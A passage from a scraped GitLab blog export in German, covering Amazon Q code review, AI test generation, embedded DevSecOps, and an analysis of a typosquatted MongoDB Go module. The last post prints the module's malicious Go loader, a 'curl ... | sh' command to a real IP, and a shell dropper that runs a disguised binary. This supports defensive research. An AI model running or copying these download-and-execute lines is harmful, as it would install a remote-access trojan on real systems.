Arbeit an einem Feature abgeschlossen und einen Merge Request mit mehreren Code-Updates erstellt. Traditionell würdest du deine Teammitglieder anschreiben und auf ihre Verfügbarkeit warten. Mit GitLab Duo mit Amazon Q gibst du einfach einen kurzen Befehl in den Kommentarbereich ein: „/q review“. Das war’s – mit diesen beiden Worten tritt die KI in Aktion.\n\n![Auslösen einer Code Review mit GitLab Duo mit Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097002/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097002096.png)\n\nSobald du den Befehl eingegeben hast, beginnt der Amazon-Q-Service sofort mit der Analyse deiner Codeänderungen. Du erhältst eine Bestätigung, dass die Review läuft, und in kürzester Zeit prüft die KI jede Zeile deiner Änderungen auf mögliche Probleme in verschiedenen Bereichen.\n\nNach Abschluss der Review erhältst du ein umfassendes Feedback, das alle Bereiche abdeckt: Fehlererkennung, Verbesserungen der Lesbarkeit, Syntaxfehler und die Einhaltung der Programmierstandards deines Teams. Die KI weist nicht nur auf Probleme hin, sondern liefert auch den Kontext und Vorschläge für deren Behebung, sodass du leicht verstehen kannst, worauf du achten musst und warum.\n\nDas Schöne an diesem agentenbasierten KI-Ansatz ist, dass er dir die mühselige Arbeit der Code Review abnimmt, während du dich auf das konzentrieren kannst, was am wichtigsten ist: die Entwicklung großartiger Software.\n\nDu profitierst von den Vorteilen gründlicher Code Reviews – bessere Fehlererkennung, konsistente Programmierstandards und verbesserte Codequalität – ohne den Zeitaufwand. Deine Bereitstellungszeiten verkürzen sich drastisch, weil du nicht mehr in Review-Warteschlangen steckst, und dein gesamtes Team wird produktiver.\n\n## Warum solltest du GitLab Duo mit Amazon Q verwenden?\n\nGitLab Duo mit Amazon Q verändert deinen Entwicklungsworkflow auf folgende Weise:\n\n* Blitzschnelle Code Reviews, die keine Kompromisse bei der Qualität eingehen\n* Konsistente Anwendung von Programmierstandards in deiner gesamten Codebase\n* Sofortiges Feedback, das dir hilft, Fehler zu beheben, bevor sie in die Produktion gelangen\n* Kürzere Bereitstellungszeiten, damit du Funktionen schneller bereitstellen kannst\n* Mehr Zeit für dein Team, sich auf kreative Problemlösungen zu konzentrieren, statt auf sich wiederholende Reviews\n\nBist du bereit, diese neue Funktion in Aktion zu erleben? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Code-Review-Prozess revolutionieren kann:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/4gFIgyFc02Q?si=GXVz--AIrWiwzf-I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure>\n\n\u003C!-- blank line -->\n\n> Besuche uns auf einem der bevorstehenden [AWS Summits in einer Stadt in deiner Nähe](https://about.gitlab.com/de-de/events/aws-summits/) oder [wende dich an deine(n) GitLab-Vertreter(in)](//about.gitlab.com/de-de/partners/technology-partners/aws/#form), um mehr über GitLab Duo mit Amazon Q zu erfahren.\n>\n> Und nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über unsere Pläne für agentische KI und mehr zu erfahren. [Registriere dich noch heute!](https://about.gitlab.com/de-de/eighteen/)","Von Tagen zu Sekunden: So revolutioniert /q review deine Code Reviews","Nutze KI-basierte Tools, um Code Reviews zu optimieren. Analysiere Merge Requests automatisch und erhalte Feedback zu Bugs, Lesbarkeit und Programmierstandards.","2025-07-11",{"featured":6,"template":682,"slug":1256},"accelerate-code-reviews-with-gitlab-duo-and-amazon-q","content:de-de:blog:accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","Accelerate Code Reviews With Gitlab Duo And Amazon Q","de-de/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","de-de/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"_path":1262,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1263,"content":1266,"config":1273,"_id":1275,"_type":16,"title":1276,"_source":17,"_file":1277,"_stem":1278,"_extension":20},"/de-de/blog/enhance-application-quality-with-ai-powered-test-generation",{"noIndex":6,"title":1264,"description":1265},"Anwendungsqualität mit KI-gestützter Testgenerierung verbessern","Erfahre, wie GitLab Duo mit Amazon Q den QA-Prozess durch automatische Generierung umfassender Unit-Tests verbessert.",{"title":1264,"description":1265,"authors":1267,"heroImage":1268,"date":1269,"body":1270,"category":677,"tags":1271},[888],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659604/Blog/Hero%20Images/Screenshot_2024-11-27_at_4.55.28_PM.png","2025-07-03","Du weißt, wie entscheidend die Anwendungsqualität für deine Kund(inn)en und deinen Ruf ist. Allerdings kann es sich wie ein ständiger Kampf anfühlen, diese Qualität durch umfassende Tests sicherzustellen. Du hast es mit zeitaufwendigen manuellen Prozessen zu tun, inkonsistenter Testabdeckung im Team und diesen lästigen Problemen, die irgendwie durchrutschen. Es ist frustrierend, wenn deine Bewertung sinkt, weil die Qualitätssicherung eher zu einem Engpass als zu einem Schutzschild wird.\n\nHier kann [GitLab Duo mit Amazon Q](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), das agentische KI im gesamten Softwareentwicklungslebenszyklus für AWS-Kund(inn)en bereitstellt, deinen QA-Prozess transformieren. Diese KI-gestützte Funktion kann automatisch umfassende Unit-Tests für deinen Code generieren und deinen Qualitätssicherungs-Workflow dramatisch beschleunigen. Anstatt Stunden damit zu verbringen, Tests manuell zu schreiben, kannst du die KI deinen Code analysieren und Tests erstellen lassen, die optimale Abdeckung und konsistente Qualität über deine gesamte Anwendung hinweg gewährleisten.\n\n## Wie GitLab Duo mit Amazon Q funktioniert\n\nWie funktioniert das also? Lass uns gemeinsam durch den Prozess gehen.\nWenn du an einem neuen Feature arbeitest, beginnst du damit, die Java-Klasse auszuwählen, die du über einen Merge Request zu deinem Projekt hinzugefügt hast. Du navigierst einfach zu deinem Merge Request und klickst auf den Tab „Änderungen\", um den neuen Code zu sehen, den du hinzugefügt hast.\n\nAls Nächstes rufst du Amazon Q auf, indem du einen Quick-Action-Befehl eingibst. Alles, was du tun musst, ist `/q test` in das Issue-Kommentarfeld einzugeben. So einfach ist das – nur ein Schrägstrich, der Buchstabe „q\" und das Wort „test\".\n\nSobald du Enter drückst, wird Amazon Q aktiv. Es analysiert deinen ausgewählten Code und versteht dessen Struktur, Logik und Zweck. Die KI untersucht deine Klassenmethoden, Abhängigkeiten und potenzielle Randfälle, um zu bestimmen, welche Tests benötigt werden.\n\nInnerhalb weniger Augenblicke generiert Amazon Q eine umfassende Unit-Test-Abdeckung für deine neue Klasse. Es erstellt Tests, die nicht nur den Happy Path abdecken, sondern auch Randfälle und Fehlerbedingungen, die du möglicherweise übersehen hättest. Die generierten Tests folgen den bestehenden Mustern und Konventionen deines Projekts und stellen sicher, dass sie sich nahtlos in deine Codebasis integrieren.\n\n## Warum GitLab Duo mit Amazon Q verwenden?\n\nHier ist das Fazit: Du hast mit einer kritischen Herausforderung begonnen – hochwertige Anwendungen zu pflegen und dabei mit Zeitbeschränkungen und inkonsistenten Testpraktiken umzugehen. GitLab Duo mit Amazon Q löst dies, indem es den Testgenerierungsprozess automatisiert und optimale Code-Abdeckung sowie konsistente Teststandards gewährleistet. Das Ergebnis? Probleme werden vor der Bereitstellung erkannt, deine Anwendungen behalten ihre Qualität und du kannst Software schneller entwickeln, ohne die Zuverlässigkeit zu opfern.\n\nHauptvorteile dieser Funktion:\n\n* Reduziert die Zeit für das Schreiben von Unit-Tests erheblich\n* Gewährleistet umfassende Testabdeckung über deine gesamte Codebasis\n* Hält konsistente Testqualität über alle Teammitglieder hinweg aufrecht\n* Erkennt Probleme, bevor sie die Produktion erreichen\n* Beschleunigt deine gesamte Entwicklungsgeschwindigkeit\n\nBereit, diese bahnbrechende Funktion in Aktion zu sehen? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Qualitätssicherungsprozess transformieren kann:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Starte noch heute mit GitLab Duo mit Amazon Q\n\nMöchtest du mehr über GitLab Duo mit Amazon Q erfahren? Besuche die [GitLab und AWS Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/aws/) für detaillierte Informationen.\n\n## Agentische KI-Ressourcen\n- [Agentische KI-Leitfäden und Ressourcen](https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/)\n- [Was ist agentische KI?](https://about.gitlab.com/de-de/topics/agentic-ai/)\n- [GitLab Duo mit Amazon Q: Agentische KI optimiert für AWS allgemein verfügbar](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab Duo mit Amazon Q Dokumentation](https://docs.gitlab.com/user/duo_amazon_q/)",[679,680,768,787,767,1272],"AWS",{"featured":92,"template":682,"slug":1274},"enhance-application-quality-with-ai-powered-test-generation","content:de-de:blog:enhance-application-quality-with-ai-powered-test-generation.yml","Enhance Application Quality With Ai Powered Test Generation","de-de/blog/enhance-application-quality-with-ai-powered-test-generation.yml","de-de/blog/enhance-application-quality-with-ai-powered-test-generation",{"_path":1280,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1281,"content":1284,"config":1292,"_id":1294,"_type":16,"title":1295,"_source":17,"_file":1296,"_stem":1297,"_extension":20},"/de-de/blog/why-now-is-the-time-for-embedded-devsecops",{"noIndex":6,"title":1282,"description":1283,"ogTitle":1282,"ogDescription":1283},"Embedded DevSecOps: Warum 2025 der richtige Zeitpunkt ist","Embedded-Teams reduzieren Feedback-Zyklen von Wochen auf Stunden. Lerne, wie DevSecOps manuelle Compliance automatisiert und Innovation beschleunigt.",{"heroImage":1285,"body":1286,"authors":1287,"updatedDate":7,"date":1269,"title":1289,"tags":1290,"description":1291,"category":697},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_1640,h_1000,c_lfill/v1749659978/Blog/Hero%20Images/automation.png","Für Embedded-Systeme-Teams schien DevSecOps traditionell eher ein Ansatz für SaaS-Anwendungen als für die Firmware-Entwicklung zu sein. Aber das ändert sich. Software ist jetzt ein primärer Differenzierungsfaktor bei Hardwareprodukten. Neue Erwartungen der Marktteilnehmer erfordern moderne Entwicklungspraktiken. Als Reaktion darauf verfolgen Unternehmen \"Embedded DevSecOps\".\n\nWas ist Embedded DevSecOps? Die Anwendung kollaborativer Engineering-Praktiken, integrierter Toolchains und Automatisierung für das Erstellen, Testen und Sichern von Software auf die Entwicklung eingebetteter Systeme. Embedded DevSecOps umfasst notwendige Anpassungen für die Hardware-Integration.\n\n## Drei Marktkräfte, welche die Embedded-Entwicklung revolutionieren\n\nDrei mächtige Marktkräfte konvergieren und zwingen Embedded-Teams dazu, ihre Entwicklungspraktiken zu modernisieren.\n\n### 1. Software wird zum primären Differenzierungsfaktor\n\nProdukte, die einst hauptsächlich durch ihre Hardware definiert wurden, unterscheiden sich jetzt durch ihre Softwarefähigkeiten. Der Markt für softwaredefinierte Fahrzeuge (SDV) erzählt in dieser Hinsicht eine überzeugende Geschichte. Er wird voraussichtlich von 213,5 Milliarden US-Dollar im Jahr 2024 auf [1,24 Billionen US-Dollar (Artikel auf Englisch)](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) bis 2030 wachsen – eine massive jährliche Wachstumsrate von 34%.\n\nDer Softwareanteil in diesen Produkten wächst erheblich. Bis Ende 2025 wird erwartet, dass das durchschnittliche Fahrzeug [650 Millionen Codezeilen (Artikel auf Englisch)](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/) enthält. Traditionelle Embedded-Entwicklungsansätze können diese Softwarekomplexität nicht bewältigen.\n\n### 2. Hardware-Virtualisierung ermöglicht neue Arbeitsweisen\n\nHardware-Virtualisierung ist ein wichtiger technischer Enabler für Embedded DevSecOps. Virtuelle elektronische Steuergeräte (vECUs), Cloud-basierte ARM-CPUs und anspruchsvolle Simulationsumgebungen werden immer verbreiteter. Virtuelle Hardware ermöglicht Tests, die einst physische Hardware erforderten.\n\nDiese Virtualisierungstechnologien bieten eine Grundlage für Continuous Integration ([CI](https://about.gitlab.com/topics/ci-cd/)). Aber ihr Wert wird nur vollständig realisiert, wenn sie in einen automatisierten Workflow integriert sind. In Kombination mit kollaborativen Entwicklungspraktiken und automatisierten Pipelines helfen virtuelle Tests den Teams, Probleme viel früher zu erkennen, wenn Korrekturen noch viel kostengünstiger sind. Ohne Embedded-DevSecOps-Praktiken und Tools zur Orchestrierung dieser virtuellen Ressourcen können Unternehmen den Virtualisierungstrend nicht nutzen.\n\n### 3. Der Wettbewerbsdruck steigt exponentiell\n\nDrei miteinander verbundene Kräfte gestalten die Wettbewerbslandschaft für die Embedded-Entwicklung neu:\n\n* Der Kampf um die größten Talente hat sich entscheidend verschoben. Wie ein Embedded-Systems-Leader bei einem GitLab-Kunden erklärte: \"Kein Embedded-Ingenieur, der heute vom College kommt, kennt Legacy-Tools wie Perforce. Sie kennen Git. Diese jungen Ingenieure arbeiten sechs Monate in einem Unternehmen mit Legacy-Tools und kündigen dann.\" Unternehmen, die veraltete Tools verwenden, könnten ihre technische Zukunft verlieren.\n* Dieser Vorsprung durch die besten Talente führt zu Wettbewerbsvorteilen. Technologieorientierte Unternehmen, die Top-Ingenieure mit modernen Praktiken anziehen, erzielen bemerkenswerte Ergebnisse. Beispielsweise führte [SpaceX (Artikel auf Englisch)](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) im Jahr 2024 mehr Orbitalstarts durch als der Rest der Welt zusammen. Technologieorientierte Unternehmen zeichnen sich durch Softwareentwicklung aus und haben eine moderne Entwicklungskultur. Dies schafft unter anderem Effizienzen, die Legacy-Unternehmen nur schwer erreichen können.\n* Die steigenden Kosten der Embedded-Entwicklung – getrieben durch lange Feedback-Zyklen – schaffen einen dringenden Bedarf an Embedded DevSecOps. Wenn Entwickler(innen) wochenlang warten müssen, um Code auf Hardware-Testbänken zu testen, bleibt die Produktivität von Natur aus niedrig. Ingenieur(innen) verlieren den Kontext und müssen den Kontext wechseln, wenn die Ergebnisse eintreffen. Das Problem verschlimmert sich, wenn Fehler ins Spiel kommen. Bugs werden teurer zu beheben, je später sie entdeckt werden. Lange Feedback-Zyklen vergrößern dieses Problem in eingebetteten Systemen.\n\nUnternehmen setzen Embedded DevSecOps ein, um diese Herausforderungen zu bewältigen.\n\n## So setzen führende Unternehmen Embedded DevSecOps um\n\nBasierend auf diesen Marktkräften implementieren zukunftsorientierte Embedded-Systems-Leader Embedded DevSecOps auf folgende Weise.\n\n### Hardware-Tests automatisieren und beschleunigen\n\nHardware-Test-Engpässe stellen eine der bedeutendsten Einschränkungen in der traditionellen Embedded-Entwicklung dar. Diese Verzögerungen schaffen die zuvor beschriebene ungünstige Wirtschaftlichkeit – wenn Entwickler(innen) wochenlang auf Hardware-Zugriff warten, steigen die Fehlerkosten spiralförmig an.\n\nDie Bewältigung dieser Herausforderung erfordert einen facettenreichen Ansatz, einschließlich:\n\n* Automatisierung der Orchestrierung teurer gemeinsam genutzter Hardware-Testbänke unter Embedded-Entwickler(inne)n\n* Integration sowohl von SIL (Software-in-the-Loop) als auch HIL (Hardware-in-the-Loop) Tests in automatisierte CI-Pipelines\n* Standardisierung von Builds mit versionskontrollierten Umgebungen\n\nEmbedded-Entwickler(innen) können dies mit GitLabs [On-Premises Device Cloud (Seite auf Englisch)](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud) erreichen, einer CI/CD-Komponente. Durch die Automatisierung der Orchestrierung von Firmware-Tests auf virtueller und realer Hardware sind Teams besser positioniert, um Feedback-Zyklen von Wochen auf Stunden zu reduzieren. Sie können auch mehr Bugs früh im Software-Entwicklungslebenszyklus erkennen.\n\n### Automatisierung von Compliance und Security Governance\n\nEingebettete Systeme unterliegen strengen regulatorischen Anforderungen. Manuelle Compliance-Prozesse sind nicht nachhaltig.\n\nFührende Unternehmen transformieren die Art und Weise, wie sie diese Anforderungen erfüllen, durch:\n\n* Ersetzen manueller Workflows durch automatisierte [Compliance-Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)\n* Integration spezialisierter Funktionssicherheits-, Sicherheits- und Code-Qualitäts-Tools in automatisierte Continuous-Integration-Pipelines\n* Automatisierung von Genehmigungsworkflows, Durchsetzung von Code-Reviews und Pflege von Audit-Trails\n* Konfiguration von Compliance-Frameworks für spezifische Standards wie ISO 26262 oder DO-178C\n\nDieser Ansatz ermöglicht eine höhere Compliance-Reife ohne zusätzliches Personal – was einst eine Last war, wird zu einem Wettbewerbsvorteil. Ein führender Hersteller von Elektrofahrzeugen (EV) führt mit GitLab täglich 120.000 CI/CD-Jobs aus, von denen viele Compliance-Prüfungen beinhalten. Und sie können Fehlerbehebungen innerhalb einer Stunde nach der Entdeckung beheben und in Fahrzeuge bereitstellen. Dieses Maß an Skalierung und Geschwindigkeit wäre ohne automatisierte Compliance-Workflows extrem schwierig.\n\n### Compliance-Prozesse in CI/CD-Pipelines integrieren\n\nHistorisch gesehen haben Embedded-Entwickler(innen) aus berechtigten geschäftlichen und technischen Gründen weitgehend allein an ihren Schreibtischen gearbeitet. Die Zusammenarbeit war begrenzt. Innovative Unternehmen durchbrechen diese Barrieren, indem sie gemeinsame Code-Sichtbarkeit durch integrierte Source-Control- und CI/CD-Workflows ermöglichen. Diese modernen Praktiken ziehen Ingenieur(innen) an und halten sie, während sie Innovationen freischalten, die in isolierten Workflows verborgen bleiben würden.\n\nWie ein Director of DevOps bei einem technologieorientierten Automobilhersteller (ein GitLab-Kunde) erklärt: \"Es ist wirklich entscheidend für uns, eine einzige Übersicht zu haben, auf die wir schauen und die Status sehen können. Die Entwickler(innen) sind sich beim Einbringen eines Merge Requests des Status eines bestimmten Workflows bewusst, um sich so schnell wie möglich zu bewegen.\" Diese Transparenz beschleunigt die Innovation und ermöglicht es Automobilherstellern, schnell auf Softwarefunktionen zu iterieren, die ihre Fahrzeuge in einem zunehmend wettbewerbsintensiven Markt differenzieren.\n\n## Silos aufbrechen durch kollaborative Entwicklung\n\nEmbedded-Systems-Leader haben ein klares Zeitfenster, um durch die DevSecOps-Einführung einen Wettbewerbsvorteil zu erlangen. Aber das Fenster wird nicht für immer offen bleiben. Software wird weiterhin zum primären Differenzierungsfaktor in eingebetteten Produkten, und die Kluft zwischen Leadern und Nachzüglern wird nur größer werden.\n\nUnternehmen, die DevSecOps erfolgreich einführen, werden Kosten senken, die Markteinführungszeit beschleunigen und Innovationen freischalten, die sie auf dem Markt differenzieren. Die Embedded-Systems-Leader von morgen sind diejenigen, die heute DevSecOps annehmen.\n\n> Während dieser Artikel untersuchte, warum jetzt die kritische Zeit für Embedded-Teams ist, DevSecOps einzuführen, fragst du dich vielleicht nach den praktischen Schritten für den Einstieg. Erfahre, wie du diese Konzepte mit unserem Leitfaden in die Praxis umsetzen kannst: [4 Wege zur Beschleunigung der Embedded-Entwicklung mit GitLab (Artikel auf Englisch)](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[1288],"Matt DeLaney","Warum jetzt die Zeit für Embedded DevSecOps ist",[110],"Erfahre, wie Embedded-Entwicklungsteams lange Feedback-Zyklen, manuelle Compliance und isolierte Entwicklung mit DevSecOps bewältigen.",{"featured":6,"template":682,"slug":1293},"why-now-is-the-time-for-embedded-devsecops","content:de-de:blog:why-now-is-the-time-for-embedded-devsecops.yml","Why Now Is The Time For Embedded Devsecops","de-de/blog/why-now-is-the-time-for-embedded-devsecops.yml","de-de/blog/why-now-is-the-time-for-embedded-devsecops",{"_path":1299,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1300,"content":1303,"config":1309,"_id":1311,"_type":16,"title":1312,"_source":17,"_file":1313,"_stem":1314,"_extension":20},"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":6,"title":1301,"description":1302,"ogDescription":1302,"ogTitle":1301},"GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff","Erfahre, wie GitLab einen Supply-Chain-Angriff aufgedeckt hat, der Go-Entwickler(innen) durch gefälschte MongoDB-Treiber ins Visier nahm, die persistente Backdoor-Malware bereitstellen.",{"title":1301,"description":1302,"authors":1304,"heroImage":1305,"body":1306,"category":765,"tags":1307,"date":1308},[1073],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören\nweiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne\nSoftwareentwicklung. Die weit verbreitete Nutzung von\nOpen-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen\nschnell zu erstellen, aber auch die Angriffsfläche vergrößert.\n\n\nDas wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.\n\n\nUm diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:\n\n\n* Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert\n\n* Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet\n\n* KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung\n\n\nDieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.\n\n\nMit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.\n\n\n## Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt\n\n\nUnser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens `github.com/qiniiu/qmgo` gemeldet, das das beliebte [MongoDB](https://www.mongodb.com/)-Modul `github.com/qiniu/qmgo` genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB\" und hat in der Go-Community an Bedeutung gewonnen.\n\n\nUm das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i\" hinzu (`qiniu` → `qiniiu`). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.\n\n\nDer Code des neuen Moduls war eine funktionierende Kopie des legitimen `qmgo`-Moduls. Allerdings wurde bösartiger Code in die `NewClient`-Funktion in `client.go` eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.\n\n\nNach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (`github.com/qiiniu/qmgo`) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.\n\n\n## Technische Tiefenanalyse: Die Schichten abziehen\n\n\nDer Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:\n\n\n```go\n\ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()\n\nif err == nil {\n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()\n    if err == nil {\n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()\n    }\n}\n\n```\n\n\nDer Angriff entfaltet sich in vier verschiedenen Schichten:\n\n\n**Schicht 1:** Der Code holt `update.html` aus einem anderen Repository, das dem Typosquat-Konto `qiiniu/vue-element-admin` gehört. Die Datei enthielt eine einzelne Zeile:\n\n\n```\n\nhttps://img.googlex.cloud/seed.php\n\n```\n\n\n**Schicht 2:** Der Code holt dann `https://img.googlex.cloud/seed.php`, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:\n\n\n```bash\n\ncurl -s http://207.148.110.29:80/logon61.gif|sh\n\n```\n\n\n**Schicht 3:** Der Befehl weist das System an, `http://207.148.110.29:80/logon61.gif` mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (`chainelli.mp3`) nach `/tmp/vod` herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:\n\n\n```bash\n\n#!/bin/sh\n\nrm -rf /tmp/vod\n\ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod\n\nchmod 777 /tmp/vod\n\n/tmp/vod\n\nrm -rf /tmp/vod\n\n```\n\n\n**Schicht 4:** Die `chainelli.mp3`-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei `ellipal.spoolsv.cyou` auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:\n\n\n* Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung\n\n* Screenshot-Aufnahmen\n\n* SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen\n\n* Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung\n\n* Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download\n\n\n## Es ist zurück (schon wieder)\n\n\nNur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien `github.com/qiiniu/qmgo` – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.\n\n\n## GitLabs Ansatz: Nadeln im Heuhaufen finden\n\n\nDie anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:\n\n\n**Typosquatting-Erkennung:** GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht nach Paketen, die Anzeichen verschiedener Typosquatting-Strategien zeigen.\n\n\n**Semantische Heuristik:** Unser System analysiert Code statisch auf Muster wie Netzwerkanfragen, Befehlsausführungen und andere für bösartige Payloads typische Verhaltensweisen.\n\n\n**KI-unterstützte Analyse:** Ein [Large Language Model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) führt die anfängliche Analyse der verdächtigen Teile des Codes durch, um uns zu helfen, offensichtliche Fehlalarme auszusortieren, komplexe Payloads zu erkennen und Verschleierungstechniken zu identifizieren, die verwendet werden, um bösartige Absichten zu verbergen.\n\n\n**Menschliche Überprüfung:** Ein Mensch erhält eine Warnung, um den Fund zu verifizieren und eine erweiterte Analyse durchzuführen.\n\n\n## Empfehlungen: Persistenten Supply-Chain-Bedrohungen voraus bleiben\n\n\nDieser Angriff unterstreicht die anhaltenden Herausforderungen bei der Sicherung von Software-Supply-Chains. Die mehrschichtige Verschleierung und schnelle Neubereitstellung nach dem Takedown zeigen, dass Bedrohungsakteure bereit sind, erheblichen Aufwand zu investieren, um beliebte Abhängigkeiten ins Visier zu nehmen.\n\n\nDer schnelle Wechsel zu neuen Typosquatting-Paketen nach unserer ersten Meldung hebt eine grundlegende Schwäche in den aktuellen Ökosystemen hervor: Paketmanager entfernen bösartige Abhängigkeiten normalerweise erst, nachdem sie veröffentlicht, entdeckt und von der Community gemeldet wurden. Dieser reaktive Ansatz hinterlässt ein gefährliches Zeitfenster, in dem Entwickler(innen) unwissentlich kompromittierte Pakete konsumieren können. Proaktive Überwachungs- und Erkennungssysteme wie das von GitLab entwickelte können helfen, diese Lücke zu schließen, indem sie Bedrohungen während des Veröffentlichungsprozesses selbst identifizieren.\n\n\nWir haben Indicators of Compromise (IOCs) im nächsten Abschnitt bereitgestellt, die in Überwachungssystemen verwendet werden können, um diese spezifische Kampagne zu 